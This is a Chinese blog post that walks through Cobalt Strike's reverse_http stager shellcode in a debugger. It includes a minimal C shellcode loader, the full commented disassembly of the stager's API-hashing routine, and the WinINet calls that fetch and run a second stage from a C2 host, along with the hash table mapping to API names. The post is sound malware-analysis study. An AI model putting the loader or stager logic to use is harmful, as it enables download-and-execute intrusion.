WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

CobaltStrike Shellcode分析

这次使用的reverse_http的shellcode

0x01 生成木马

首先生成一个C语言版的payload,用最简单的方法加载进内存

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
int main() {
__asm {
mov ecx, offset buf
jmp ecx
}
}

这里让数据段可执行,这样就不需要动态开辟内存,调试的时候shellcode的地址不会变

0x02 DEBUG

用二进制看下payload

是可以看到一些正常字符的,说明shellcode里面不全部是代码,还放着一些数据

把程序放到x32dbg里面调试,可以图片搭配后面的汇编代码看可能会清晰一点

下面开始调试

CLD先将DF标志位置零,对应的硬编码是FC,印象里很多shellcode开头都是FC,可能是为了严谨吧

这里CALL到5F40A7后执行的代码

先把跳过来的下个地址保存到ebp,这个地址是后面找函数的关键地址,找到函数后循环都会经过这里

push了wininet字符串和0x726774C,这几个字符串都是有用的,特别是0x726774C是一个特征码,后面就会看到是怎么用的

最后CALL回到005F401E

这里截图截不全,下面汇编会把整段写明白

pushad先把寄存器全部压栈

提升堆栈

edx置零

后面这个应该挺熟悉的,在编写shellcode的文章里面有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
005F401E                   pushad                                       
005F401F mov ebp,esp
005F4021 xor edx,edx
005F4023 mov edx,dword ptr fs:[edx+30]
005F4027 mov edx,dword ptr ds:[edx+C]
005F402A mov edx,dword ptr ds:[edx+14]
#这里先找到第一个LDR_DATA_TABLE_ENTRY结构
005F402D mov esi,dword ptr ds:[edx+28]
#找到BaseDllName,得到文件名
005F4030 movzx ecx,word ptr ds:[edx+26]
#得到文件名的长度
005F4034 xor edi,edi
005F4036 xor eax,eax
005F4038 lodsb
005F4039 cmp al,61
005F403B jl test.5F403F
005F403D sub al,20
005F403F ror edi,D
005F4042 add edi,eax
005F4044 loop test.5F4036
#这段到这里都是遍历文件名修改edi的值,第一次遍历是没用的,可以先不看,后面的值会加上函数遍历的值
005F4046 push edx
005F4047 push edi
005F4048 mov edx,dword ptr ds:[edx+10]
005F404B mov eax,dword ptr ds:[edx+3C]
005F404E add eax,edx
005F4050 mov eax,dword ptr ds:[eax+78]
#得到导出表的地址
005F4053 test eax,eax
005F4055 je test.5F40A1
#检查eax是否为0,为0则跳跃,为0其实就是这个文件没有导出表
005F40A1 pop edi
005F40A2 pop edx
005F40A3 mov edx,dword ptr ds:[edx] #下个LDR_DATA_TABLE_ENTRY的结构放到edx
005F40A5 jmp test.5F402D #返回5F402D重复过程

#下个循环就到ntdll.dll了,这个dll有导出表,走到test eax,eax继续往下执行,可以看下面的代码

接上后面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
005F4057                   add eax,edx                                 
005F4059 push eax
005F405A mov ecx,dword ptr ds:[eax+18] #NumberOfNames 得到函数数量写入ecx内
005F405D mov ebx,dword ptr ds:[eax+20] #AddressOfNames 函数名称偏移
005F4060 add ebx,edx
005F4062 jecxz test.5F40A0 #ecx为0回到5F40A0,简单说就是函数遍历完就回去
005F4064 dec ecx
005F4065 mov esi,dword ptr ds:[ebx+ecx*4] #获取倒数第一个函数偏移
005F4068 add esi,edx #获取函数地址
005F406A xor edi,edi

#这段是找函数的
005F406C xor eax,eax
005F406E lodsb
005F406F ror edi,D #edi循环右移13位
005F4072 add edi,eax #把遍历的字符的十六进制
005F4074 cmp al,ah
005F4076 jne test.5F406C
#遍历函数名
#打个比方有strcpy函数名
ror edi,D 00000000000000000000000000000000 0 add edi,eax 00000000000000000000000001110011 73 s
ror edi,D 00000000000000111001100000000000 39800 add edi,eax 00000011100110000000000001110100 74 t
ror edi,D 00000011101000000001110011000000 3A01CC0 add edi,eax 00000011101000000001110100110010 72 r
ror edi,D 11101001100100000001110100000000 E9901D00 add edi,eax 11101001100100000001110101100011 63 c
ror edi,D 11101011000111110100110010000000 EB1F4C80 add edi,eax 11101011000111110100110011110000 70 p
ror edi,D 01100111100001110101100011111010 678758FA add edi,eax 01100111100001110101100101110011 79 y
ror edi,D 11001011100110110011110000111010 CB9B3C3A add edi,eax 11001011100110110011110000111010 0 00

005F4078 add edi,dword ptr ss:[ebp-8] #ebp-8存放文件名遍历后的值
005F407B cmp edi,dword ptr ss:[ebp+24]
#ebp+24存放着0x726774C,就是前面说的特征码,对比到了就说明是要取的函数,对比不到就回去
005F407E jne test.5F4062

可以看到上面这种遍历的方法不要使用GetProcAddress得到函数地址,也不需要通过push字符串,有效的去掉了一些特征,除了遍历有点慢之外没什么缺点

在ecx遍历完之后会跳到005F40A1继续找下个dll的地址

当然下个就是kernel32.dll了

这里就是匹配到之后执行的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
005F4080                   pop eax                                
005F4081 mov ebx,dword ptr ds:[eax+24] #AddressOfNameOrdinals
005F4084 add ebx,edx #AddressOfNameOrdinals实际地址
005F4086 mov cx,word ptr ds:[ebx+ecx*2] #得到函数序号
005F408A mov ebx,dword ptr ds:[eax+1C]
005F408D add ebx,edx #得到AddressOfFunctions的起始位置
005F408F mov eax,dword ptr ds:[ebx+ecx*4]
005F4092 add eax,edx #得到函数指针
005F4094 mov dword ptr ss:[esp+24],eax #函数指针放入栈中,这里放的也很巧妙
005F4098 pop ebx #pop到寄存器 堆栈平衡
005F4099 pop ebx #pop到寄存器 堆栈平衡
005F409A popad #现在函数指针的位置在esp+1c,popad后函数指针刚好覆盖在eax上相当于没动
005F409B pop ecx
#在最开始5F40A7->5F401E最后回去的时候用的是call ebp,所以下个地址也被压入栈中,这里刚好把下个地址取出来
005F409C pop edx #去除0x726774C
005F409D push ecx #再次压入5F401E的下个地址005F40BA
005F409E jmp eax #这里的eax就是函数地址了,这次找到是LoadLibraryA函数
#其实这里是模仿了call,call就是先压入下个地址,然后jmp过去,这里指定了返回的地址

可以看到堆栈中返回地址是005F40BA,LoadLibraryA的参数是wininet,EAX中的参数是LoadLibraryA的函数指针

接下来走到这里

这时候wininet.dll已经加载进内存了

1
2
3
4
5
6
7
8
005F40BA                   xor edi,edi
005F40BC push edi
005F40BD push edi
005F40BE push edi
005F40BF push edi
005F40C0 push edi
005F40C1 push A779563A #这里是0x726774C类似的东西,通过这个查找下个函数
005F40C6 call ebp #005F401E,回到pushad那里

到这里又是重复一次循环,去遍历函数名找到循环右移13位之后为A779563A的函数

这里就不重复写一遍了

A779563A对应的函数是InternetOpenA

1
2
3
4
5
6
7
HINTERNET InternetOpenA(
LPCSTR lpszAgent,
DWORD dwAccessType,
LPCSTR lpszProxy,
LPCSTR lpszProxyBypass,
DWORD dwFlags
);

可以看到堆栈中参数都为0000000,执行完之后EAX是HINTERNET

跳到005F40C8继续

005F4151又跳了一次

005F40C8->005F4151->005F431F

1
2
3
4
5
6
005F40C8                   jmp test.5F4151

005F4151 jmp test.5F431F

005F431F call test.5F40CD
#这里也是很巧妙的设计,用call将需要的参数压入栈中,并跳转,避免了push的使用

005F4324后面的就是IP地址的字符串,就是指向字符串的指针,用CALL压入栈中跳到005F40CD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
005F40CD                   pop ebx
005F40CE xor ecx,ecx #置零

005F40D0 push ecx #dwContext NULL
005F40D1 push ecx #dwFlags NULL
005F40D2 push 3 #INTERNET_SERVICE_HTTP宏定义
005F40D4 push ecx #lpszPassword NULL
005F40D5 push ecx #lpszUserName NULL
005F40D6 push 52 #80端口
005F40DB push ebx #用call压入的字符串
005F40DC push eax #上个函数的结果HINTERNET
#这些都是下个函数的参数 八个

005F40DD push C69F8957 #下个函数的特征码
005F40E2 call ebp #回到005F401E再次循环

InternetConnectA

1
2
3
4
5
6
7
8
9
10
HINTERNET InternetConnectA(
HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
);

对应上面的八个参数,执行完后跳到005F40E4

接下来又是几次跳转

005F40E4->005F4156

还是相同的方法用CALL压入字符串后跳转

这次压入的是完整shellcode的路径

跳到005F40E6

直接贴代码吧不截图了

1
2
3
4
5
6
7
8
9
10
11
12
13
005F40E6                   pop ebx
005F40E7 xor edx,edx
005F40E9 push edx #dwContext
005F40EA push 84400200 #dwFlags NTERNET_FLAG_NO_CACHE_WRITE宏定义0X4000000
005F40EF push edx #lplpszAcceptTypes
005F40F0 push edx #lpszReferrer
005F40F1 push edx #lpszVersion
005F40F2 push ebx #lpszObjectName
005F40F3 push edx #LPCSTR
005F40F4 push eax #hConnect
#同样的上面都是下个函数的参数,也是八个参数
005F40F5 push 3B2E55EB #下个函数的特征码
005F40FA call ebp #回到005F401E再次循环找函数

HttpOpenRequestA

1
2
3
4
5
6
7
8
9
10
HINTERNET HttpOpenRequestA(
HINTERNET hConnect,
LPCSTR lpszVerb,
LPCSTR lpszObjectName,
LPCSTR lpszVersion,
LPCSTR lpszReferrer,
LPCSTR *lplpszAcceptTypes,
DWORD dwFlags,
DWORD_PTR dwContext
);

执行函数之后跳到005F40FC位置

下面是005F40FC执行的代码

1
2
3
4
5
6
7
8
9
10
11
12
005F40FC                   mov esi,eax		#上个函数返回的HINTERNET存入esi
005F40FE add ebx,50 #这里的ebx还是指向路径的,+50之后就到请求头
005F4101 xor edi,edi
005F4103 push edi #dwOptionalLength
005F4104 push edi #lpOptional
005F4105 push FFFFFFFF #dwHeadersLength
005F4107 push ebx #LPCSTR
005F4108 push esi #HINTERNET
#下个函数的参数
005F4109 push 7B18062D
#下个函数的特征码
005F410E call ebp #回到005F401E再次循环找函数

找到函数HttpSendRequestA

1
2
3
4
5
6
7
BOOL HttpSendRequestA(
HINTERNET hRequest,
LPCSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength
);

再跳到005F4110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
005F4110                   test eax,eax			#检测上个函数执行是否成功,因为上个函数的返回值是布尔类型
005F4112 je test.5F42DB
005F4118 xor edi,edi
005F411A test esi,esi #检测HINTERNET是否为NULL
005F411C je test.5F4122
005F411E mov ecx,edi

005F4120 jmp test.5F412B #直接跳过
005F4122 push 5DE2C5AA
005F4127 call ebp
005F4129 mov ecx,eax

005F412B push 315E2145 #下个函数的特征码
005F4130 call ebp #回到005F401E再次循环找函数

GetDesktopWindow函数无参,作用是获取桌面句柄

跳到005F4132

1
2
3
4
5
6
7
8
005F4132                   xor edi,edi
005F4134 push edi
005F4135 push 7
005F4137 push ecx
005F4138 push esi
005F4139 push eax
005F413A push BE057B7
005F413F call ebp

InternetErrorDlg函数是检测错误的,这个不是关键的函数就不提了,简单说如果有错误会在提供的窗口句柄上显示错误,所以上面要得到桌面的句柄

执行完之后跳到

1
2
3
4
5
6
005F42E2                   push 40
005F42E4 push 1000
005F42E9 push 400000
005F42EE push edi
005F42EF push E553A458
005F42F4 call ebp

这里应该是经典了,不用说师傅们都知道是VirtualAlloc,开辟了一块0x400000大小的内存,可读可写可执行

执行完之后跳到005F42F6

1
2
3
4
5
6
7
8
9
10
11
12
005F42F6                   xchg ebx,eax		#jia
005F42F7 mov ecx,0 #ecx置零
005F42FC add ecx,ebx #ecx得到VirtualAlloc的地址
005F42FE push ecx
005F42FF push ebx
005F4300 mov edi,esp
005F4302 push edi #dwModifiers
005F4303 push 2000 #dwHeadersLength
005F4308 push ebx #lpszHeaders
005F4309 push esi #hRequest
005F430A push E2899612
005F430F call ebp

InternetReadFile

1
2
3
4
5
6
BOOL InternetReadFile(
HINTERNET hFile,
LPVOID lpBuffer,
DWORD dwNumberOfBytesToRead,
LPDWORD lpdwNumberOfBytesRead
);

然后就是循环读0x2000大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
005F4311                   test eax,eax
005F4313 je test.5F42DB
005F4315 mov eax,dword ptr ds:[edi]
#InternetReadFile最后一个参数是输出参数,输出读到的实际大小,上面把这个指针设置到了edi,从这里读出来实际的大小,如果不是0则回去循环,是0就说明shellcode已经全部读完了
005F4317 add ebx,eax
005F4319 test eax,eax
005F431B jne test.5F4302

005F4302 push edi #dwModifiers
005F4303 push 2000 #dwHeadersLength
005F4308 push ebx #lpszHeaders
005F4309 push esi #hRequest
005F430A push E2899612
005F430F call ebp

005F431D pop eax
005F431E ret

0x03 汇编代码

写个完整的

把汇编代码全部提取出来

写个python脚本

1
2
3
4
5
6
7
8
a = open("asm.txt", "r")
asm_ = a.read().split("\n")
asm_command = ""
for i in asm_:
asm_command += i.split("|")[0].replace(":", "")
asm_command += i.split("|")[2].lstrip()
asm_command += "\n"
print(asm_command)

下面是提取的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
005F4018 <test.buf>        cld					#修改DF标志位
005F4019 call test.5F40A7 #跳到test.5F40A7

#005F40A7->005F401E start
005F401E pushad
005F401F mov ebp,esp
005F4021 xor edx,edx
005F4023 mov edx,dword ptr fs:[edx+30]
005F4027 mov edx,dword ptr ds:[edx+C]
005F402A mov edx,dword ptr ds:[edx+14]
005F402D mov esi,dword ptr ds:[edx+28]
005F4030 movzx ecx,word ptr ds:[edx+26]
005F4034 xor edi,edi
005F4036 xor eax,eax
005F4038 lodsb
005F4039 cmp al,61
005F403B jl test.5F403F
005F403D sub al,20
005F403F ror edi,D
005F4042 add edi,eax
005F4044 loop test.5F4036
005F4046 push edx
005F4047 push edi
005F4048 mov edx,dword ptr ds:[edx+10]
005F404B mov eax,dword ptr ds:[edx+3C]
005F404E add eax,edx
005F4050 mov eax,dword ptr ds:[eax+78]
005F4053 test eax,eax
005F4055 je test.5F40A1

# 有导出表执行的代码
005F4057 add eax,edx #得到导出表地址
005F4059 push eax #导出表地址压栈
005F405A mov ecx,dword ptr ds:[eax+18] #得到函数个数
005F405D mov ebx,dword ptr ds:[eax+20] #AddressOfNames
005F4060 add ebx,edx #AddressOfNames地址
005F4062 jecxz test.5F40A0 #函数遍历结束后跳回5F40A0
005F4064 dec ecx #自减ecx
005F4065 mov esi,dword ptr ds:[ebx+ecx*4]
005F4068 add esi,edx
005F406A xor edi,edi
005F406C xor eax,eax
005F406E lodsb
005F406F ror edi,D
005F4072 add edi,eax
005F4074 cmp al,ah
005F4076 jne test.5F406C
005F4078 add edi,dword ptr ss:[ebp-8]
005F407B cmp edi,dword ptr ss:[ebp+24]
005F407E jne test.5F4062

# 对比到后执行的代码
005F4080 pop eax
005F4081 mov ebx,dword ptr ds[eax+24]
005F4084 add ebx,edx
005F4086 mov cx,word ptr ds[ebx+ecx*2]
005F408A mov ebx,dword ptr ds[eax+1C]
005F408D add ebx,edx
005F408F mov eax,dword ptr ds[ebx+ecx*4]
005F4092 add eax,edx
005F4094 mov dword ptr ss[esp+24],eax
005F4098 pop ebx
005F4099 pop ebx
005F409A popad
005F409B pop ecx
005F409C pop edx
005F409D push ecx
005F409E jmp eax
005F40A0 pop eax


#jmp 005F4055 start
005F40A1 pop edi
005F40A2 pop edx
005F40A3 mov edx,dword ptr ds:[edx]
005F40A5 jmp test.5F402D
#jmp 005F4055 end



#5F40A7 start
005F40A7 pop ebp #这里是call所以是把005F401E地址存到ebp中
005F40A8 push 74656E #net
005F40AD push 696E6977 #wini
005F40B2 push esp #相当于压入指向wininet的指针
005F40B3 push 726774C #push字符串
005F40B8 call ebp #回到005F401E
#5F40A7 end



#LoadLibraryA执行完到的地方 start
005F40BA xor edi,edi
005F40BC push edi
005F40BD push edi
005F40BE push edi
005F40BF push edi
005F40C0 push edi
005F40C1 push A779563A
005F40C6 call ebp #005F401E
#LoadLibraryA执行完到的地方 end


005F40C8 jmp test.5F4151


#InternetConnectA的参数还有特征码 start
005F40CD pop ebx
005F40CE xor ecx,ecx
005F40D0 push ecx
005F40D1 push ecx
005F40D2 push 3
005F40D4 push ecx
005F40D5 push ecx
005F40D6 push 52
005F40DB push ebx
005F40DC push eax
005F40DD push C69F8957
005F40E2 call ebp
#InternetConnectA的参数还有特征码 end


005F40E4 jmp test.5F4156

#HttpOpenRequestA的参数还有特征码 start
005F40E6 pop ebx
005F40E7 xor edx,edx
005F40E9 push edx
005F40EA push 84400200
005F40EF push edx
005F40F0 push edx
005F40F1 push edx
005F40F2 push ebx
005F40F3 push edx
005F40F4 push eax
005F40F5 push 3B2E55EB
005F40FA call ebp
#HttpOpenRequestA的参数还有特征码 end


#HttpSendRequestA的参数还有特征码 start
005F40FC mov esi,eax
005F40FE add ebx,50
005F4101 xor edi,edi
005F4103 push edi
005F4104 push edi
005F4105 push FFFFFFFF
005F4107 push ebx
005F4108 push esi
005F4109 push 7B18062D
005F410E call ebp
#HttpSendRequestA end


#GetDesktopWindow start
005F4110 test eax,eax
005F4112 je test.5F42DB
005F4118 xor edi,edi
005F411A test esi,esi
005F411C je test.5F4122
005F411E mov ecx,edi
005F4120 jmp test.5F412B
005F4122 push 5DE2C5AA
005F4127 call ebp
005F4129 mov ecx,eax
005F412B push 315E2145
005F4130 call ebp
#GetDesktopWindow end

#InternetErrorDlg start
005F4132 xor edi,edi
005F4134 push edi
005F4135 push 7
005F4137 push ecx
005F4138 push esi
005F4139 push eax
005F413A push BE057B7
005F413F call ebp
#InternetErrorDlg end

#检查InternetErrorDlg返回值选择继续执行的代码
005F4141 mov edi,2F00
005F4146 cmp edi,eax #没报错这里返回0,这里不跳转
005F4148 je test.5F4101
005F414A xor edi,edi
005F414C jmp test.5F42E2 #跳到5F42E2
005F4151 jmp test.5F431F
005F4156 call test.5F40E6

#完整shellcode路径,不是代码
005F415B das
005F415C bound esi,qword ptr ds:[esi+31]
005F415F push ebx



#无用字符
005F4160 add byte ptr ss:[ebp-5],ch
005F4163 xor edi,edx
005F4165 pop dword ptr ds:[ebx-24F1EAC3]
005F416B inc esp
005F416C pushad
005F416D ja test.5F4149
005F416F aas
005F4170 and ebp,ebx
005F4172 mov esp,gs
005F4174 mov eax,F7DBC8C
005F4179 mov ah,91
005F417B outsb
005F417C daa
005F417D leave
005F417E inc eax
005F417F or dword ptr ds:[edx],ebx
005F4181 mov al,22
005F4183 mov esp,F4832A95
005F4189 sub ch,dh
005F418B cmp cl,byte ptr ds:[ecx]
005F418D and eax,1CDD912B
005F4192 adc dword ptr ds:[4992030A],esi
005F4198 mov ebp,D0A832C5
005F419D ret BA26
005F41A0 xchg dword ptr ds:[edi-80],esp
005F41A3 mov dh,B9
005F41A5 lds edi,fword ptr ds:[eax+854A77]
#无用字符




#请求头字符,数据 start
005F41AB push ebp
005F41AC jae test.5F4213
005F41AE jb test.5F41DD
005F41B0 inc ecx
005F41B1 outsb
005F41B4 je test.5F41F0
005F41B6 and byte ptr ss:[ebp+6F],cl
005F41B9 jp test.5F4224
005F41BB insb
005F41BC insb
005F41BD popad
005F41BE das
005F41BF xor eax,2820302E
005F41C4 arpl word ptr ds:[edi+6D],bp
005F41C7 jo test.5F422A
005F41C9 je test.5F4234
005F41CB bound ebp,qword ptr ss:[ebp+3B]
005F41CF and byte ptr ss:[ebp+53],cl
005F41D2 dec ecx
005F41D3 inc ebp
005F41D4 and byte ptr ds:[ecx],bh
005F41D6 xor byte ptr cs:[ebx],bh
005F41D9 and byte ptr ds:[edi+69],dl
005F41DC outsb
005F41DD outsd
005F41DF ja test.5F4254
005F41E1 and byte ptr ds:[esi+54],cl
005F41E4 and byte ptr ds:[esi],dh
005F41E6 xor byte ptr cs:[ebx],bh
005F41E9 and byte ptr ds:[edi+4F],dl
005F41EC push edi
005F41ED xor al,3B
005F41F0 and byte ptr ds:[edx+esi*2+69],dl
005F41F4 outsb
005F41F7 je test.5F4228
005F41F9 xor eax,D29302E
005F41FE or al,byte ptr ds:[eax]
005F4200 push edi
#请求头 end

#无用字符
005F4201 xlat
005F4202 std
005F4203 add dword ptr ds:[esi+1B],ebx
005F4207 push 35
005F4209 loop test.5F421E
005F420B xor eax,4DA22A71
005F4210 in eax,dx
005F4211 push cs
005F4212 push FFFFFFC2
005F4214 or ebx,eax
005F4216 enter 7BC7,67
005F421A shr byte ptr ds:[esi-5B02E9C6],1
005F4220 mov dh,37
005F4222 jl test.5F427F
005F4224 das
005F4225 iretd
005F4226 or byte ptr ss:[ebp-2D],ah
005F4229 mov ch,3D
005F422B and ah,byte ptr ds:[eax+17]
005F422E movsd
005F422F xlat
005F4230 lahf
005F4231 adc dl,byte ptr ds:[ecx+2D]
005F4234 rcr dword ptr ds:[eax+edx],cl
005F4237 xor dword ptr ds:[ecx+1],ebp
005F423A mov dl,FE
005F423C enter A3DC,E4
005F4240 sbb dword ptr ds:[edx],edi
005F4242 int3
005F4243 ja test.5F41E4
005F4245 ???
005F4246 cli
005F4247 sub dword ptr ds:[ecx-46FC2069],esi
005F424D ???
005F424E jl test.5F41EC
005F4250 inc ebp
005F4251 pushfd
005F4252 sar byte ptr ds:[edx-1351DB2F],1
005F4258 js test.5F426D
005F425A or al,C2
005F425C nop
005F425D test dword ptr ds:[edi+24],ebp
005F4261 xor edx,dword ptr ds:[eax]
005F4263 or dword ptr fs:[edi-76],eax
005F4267 push ebx
005F4268 inc edx
005F4269 sahf
005F426A pop edx
005F426B scasd
005F426C xchg ebp,eax
005F426D out F9,eax
005F426F cmp al,AB
005F4271 aam 1E
005F4273 pop ds
005F4274 shr byte ptr ds:[ebx-42],cl
005F4277 insb
005F4278 test edi,ecx
005F427A push ecx
005F427C xchg edx,eax
005F427D jg test.5F42D0
005F427F std
005F4280 outsb
005F4281 dec esi
005F4282 mov eax,dword ptr ds:[8FE22E3D]
005F4287 mov al,72
005F4289 enter EC01,DE
005F428D or eax,eax
005F4290 push ss
005F4291 into
005F4292 adc al,63
005F4294 fdivr st(0),qword ptr ds:[eax+16]
005F4297 add ebx,dword ptr ds:[eax-426ABF28]
005F429D jle test.5F4242
005F429F jae test.5F42B7
005F42A1 lds esp,fword ptr ds:[edi-6B5B966]
005F42A7 jge test.5F4308
005F42A9 xchg esp,eax
005F42AA les esp,fword ptr ds:[ebx-38A60C87]
005F42B0 mov ah,cl
005F42B2 xchg dword ptr ds:[edi-163B9E4],esi
005F42B8 push esi
005F42B9 fild st(0),dword ptr ds:[esi+44]
005F42BC out dx,eax
005F42BD adc esi,esi
005F42BF mul bl
005F42C1 adc dword ptr ds:[ecx-75],eax
005F42C4 push ebx
005F42C5 push es
005F42C6 cmp al,9D
005F42C8 pushfd
005F42C9 clc
005F42CA jge test.5F4337
005F42CC test eax,C2DA2487
005F42D1 test al,D7
005F42D3 jmp 48C7358C
005F42D8 and ch,byte ptr ds:[ebx]
005F42DA add byte ptr ds:[eax-10],ch
005F42DD mov ch,A2
005F42DF push esi
005F42E0 call ebp
#无用字符


#VirtualAlloc start
005F42E2 push 40
005F42E4 push 1000
005F42E9 push 400000
005F42EE push edi
005F42EF push E553A458
005F42F4 call ebp
#VirtualAlloc end

#InternetReadFile start
005F42F6 xchg ebx,eax
005F42F7 mov ecx,0
005F42FC add ecx,ebx
005F42FE push ecx
005F42FF push ebx
005F4300 mov edi,esp
005F4302 push edi
005F4303 push 2000
005F4308 push ebx
005F4309 push esi
005F430A push E2899612
005F430F call ebp
#InternetReadFile end

#InternetReadFile循环 start
005F4311 test eax,eax
005F4313 je test.5F42DB
005F4315 mov eax,dword ptr ds[edi]
005F4317 add ebx,eax
005F4319 test eax,eax
005F431B jne test.5F4302
005F431D pop eax
005F431E ret
#InternetReadFile循环 end

005F431F call test.5F40CD

#IP地址字符串,这些都是数据,不是代码
005F4324 xor dword ptr ds:[eax],esi
005F4326 xor dword ptr cs:[ebx],esi
005F4329 xor byte ptr ds:[esi],ch
005F432B xor al,2E
005F432D xor dh,byte ptr ds:[eax]
005F432F xor al,0
005F4331 adc dh,byte ptr ds:[esi+edx*2]
005F4334 js test.5F4336

0x04 总结

0x0726774C——LoadLibraryA
0xA779563A——InternetOpenA
0xC69F8957——InternetConnectA
0x3B2E55EB—–HttpOpenRequestA
0x7B18062D—–HttpSendRequestA
0x315E2145—–GetDesktopWindow
0x0BE057B7—–InternetErrorDlg
0xE553A458—–VirtualAlloc
0xE2899612—–InternetReadFile

这是这段shellcode调用的所有函数

  1. LoadLibraryA加载wininet.dll
  2. InternetOpenA->InternetConnectA->HttpOpenRequestA->HttpSendRequestA 创建连接发起请求
  3. GetDesktopWindow->InternetErrorDlg 查找报错
  4. VirtualAlloc开辟内存
  5. InternetReadFile读入完整shellcode

可以看到这段shellcode其实也只是一个远程下载的功能,当然整个shellcode一环扣一环感觉连接的很紧凑

不像之前学着写的那样先把全部函数读进来执行

除了循环多了点没有什么缺点,特别是InternetReadFile这里多次找这个函数,可以通过把函数地址压栈避免这个情况